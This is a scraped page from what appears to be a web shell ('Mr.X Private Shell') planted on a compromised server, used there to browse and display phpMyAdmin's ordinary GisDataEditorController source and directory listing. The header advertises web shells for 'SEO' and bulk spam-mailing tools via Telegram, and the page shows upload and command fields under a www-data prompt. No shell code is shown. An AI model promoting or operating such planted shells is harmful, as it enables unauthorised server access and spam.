__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
/**
 * Editor for Geometry data types.
 */

declare(strict_types=1);

namespace PhpMyAdmin\Controllers;

use PhpMyAdmin\Gis\GisFactory;
use PhpMyAdmin\Gis\GisVisualization;
use PhpMyAdmin\Http\ServerRequest;

use function array_merge;
use function in_array;
use function intval;
use function is_array;
use function mb_strpos;
use function mb_strtoupper;
use function mb_substr;
use function substr;
use function trim;

/**
 * Editor for Geometry data types.
 */
class GisDataEditorController extends AbstractController
{
    public function __invoke(ServerRequest $request): void
    {
        global $gis_data, $gis_types, $start, $geom_type, $gis_obj, $srid, $wkt, $wkt_with_zero;
        global $result, $visualizationSettings, $data, $visualization, $open_layers, $geom_count, $dbi;

        /** @var string|null $field */
        $field = $request->getParsedBodyParam('field');
        /** @var array|null $gisDataParam */
        $gisDataParam = $request->getParsedBodyParam('gis_data');
        /** @var string $type */
        $type = $request->getParsedBodyParam('type', '');
        /** @var string|null $value */
        $value = $request->getParsedBodyParam('value');
        /** @var string|null $generate */
        $generate = $request->getParsedBodyParam('generate');
        /** @var string|null $inputName */
        $inputName = $request->getParsedBodyParam('input_name');

        if (! isset($field)) {
            return;
        }

        // Get data if any posted
        $gis_data = [];
        if (is_array($gisDataParam)) {
            $gis_data = $gisDataParam;
        }

        $gis_types = [
            'POINT',
            'MULTIPOINT',
            'LINESTRING',
            'MULTILINESTRING',
            'POLYGON',
            'MULTIPOLYGON',
            'GEOMETRYCOLLECTION',
        ];

        // Extract type from the initial call and make sure that it's a valid one.
        // Extract from field's values if available, if not use the column type passed.
        if (! isset($gis_data['gis_type'])) {
            if ($type !== '') {
                $gis_data['gis_type'] = mb_strtoupper($type);
            }

            if (isset($value) && trim($value) !== '') {
                $start = substr($value, 0, 1) == "'" ? 1 : 0;
                $gis_data['gis_type'] = mb_substr($value, $start, (int) mb_strpos($value, '(') - $start);
            }

            if (! isset($gis_data['gis_type']) || (! in_array($gis_data['gis_type'], $gis_types))) {
                $gis_data['gis_type'] = $gis_types[0];
            }
        }

        $geom_type = $gis_data['gis_type'];

        // Generate parameters from value passed.
        $gis_obj = GisFactory::factory($geom_type);
        if ($gis_obj === false) {
            return;
        }

        if (isset($value)) {
            $gis_data = array_merge(
                $gis_data,
                $gis_obj->generateParams($value)
            );
        }

        // Generate Well Known Text
        $srid = isset($gis_data['srid']) && $gis_data['srid'] != '' ? (int) $gis_data['srid'] : 0;
        $wkt = $gis_obj->generateWkt($gis_data, 0);
        $wkt_with_zero = $gis_obj->generateWkt($gis_data, 0, '0');
        $result = "'" . $wkt . "'," . $srid;

        // Generate SVG based visualization
        $visualizationSettings = [
            'width' => 450,
            'height' => 300,
            'spatialColumn' => 'wkt',
            'mysqlVersion' => $dbi->getVersion(),
            'isMariaDB' => $dbi->isMariaDB(),
        ];
        $data = [
            [
                'wkt' => $wkt_with_zero,
                'srid' => $srid,
            ],
        ];
        $visualization = GisVisualization::getByData($data, $visualizationSettings)
            ->toImage('svg');

        $open_layers = GisVisualization::getByData($data, $visualizationSettings)
            ->asOl();

        // If the call is to update the WKT and visualization make an AJAX response
        if ($generate) {
            $this->response->addJSON([
                'result' => $result,
                'visualization' => $visualization,
                'openLayers' => $open_layers,
            ]);

            return;
        }

        $geom_count = 1;
        if ($geom_type === 'GEOMETRYCOLLECTION') {
            $geom_count = isset($gis_data[$geom_type]['geom_count'])
                ? intval($gis_data[$geom_type]['geom_count']) : 1;
            if (isset($gis_data[$geom_type]['add_geom'])) {
                $geom_count++;
            }
        }

        $templateOutput = $this->template->render('gis_data_editor_form', [
            'width' => $visualizationSettings['width'],
            'height' => $visualizationSettings['height'],
            'field' => $field,
            'input_name' => $inputName,
            'srid' => $srid,
            'visualization' => $visualization,
            'open_layers' => $open_layers,
            'gis_types' => $gis_types,
            'geom_type' => $geom_type,
            'geom_count' => $geom_count,
            'gis_data' => $gis_data,
            'result' => $result,
        ]);

        $this->response->addJSON(['gis_editor' => $templateOutput]);
    }
}

Filemanager

Name Type Size Permission Actions
Config Folder 0755
Database Folder 0755
Export Folder 0755
Import Folder 0755
Preferences Folder 0755
Server Folder 0755
Setup Folder 0755
Sql Folder 0755
Table Folder 0755
Transformation Folder 0755
View Folder 0755
AbstractController.php File 2.53 KB 0644
BrowseForeignersController.php File 2.41 KB 0644
ChangeLogController.php File 3.44 KB 0644
CheckRelationsController.php File 2.25 KB 0644
CollationConnectionController.php File 809 B 0644
ColumnController.php File 1.04 KB 0644
DatabaseController.php File 275 B 0644
ErrorReportController.php File 6.05 KB 0644
GisDataEditorController.php File 5.09 KB 0644
GitInfoController.php File 1.19 KB 0644
HomeController.php File 17.05 KB 0644
JavaScriptMessagesController.php File 36.16 KB 0644
LicenseController.php File 940 B 0644
LintController.php File 1.77 KB 0644
LogoutController.php File 421 B 0644
NavigationController.php File 3.2 KB 0644
NormalizationController.php File 5.54 KB 0644
PhpInfoController.php File 685 B 0644
RecentTablesListController.php File 426 B 0644
SchemaExportController.php File 667 B 0644
TableController.php File 820 B 0644
ThemeSetController.php File 1.23 KB 0644
ThemesController.php File 772 B 0644
UserPasswordController.php File 3.3 KB 0644
VersionCheckController.php File 1.2 KB 0644
Filemanager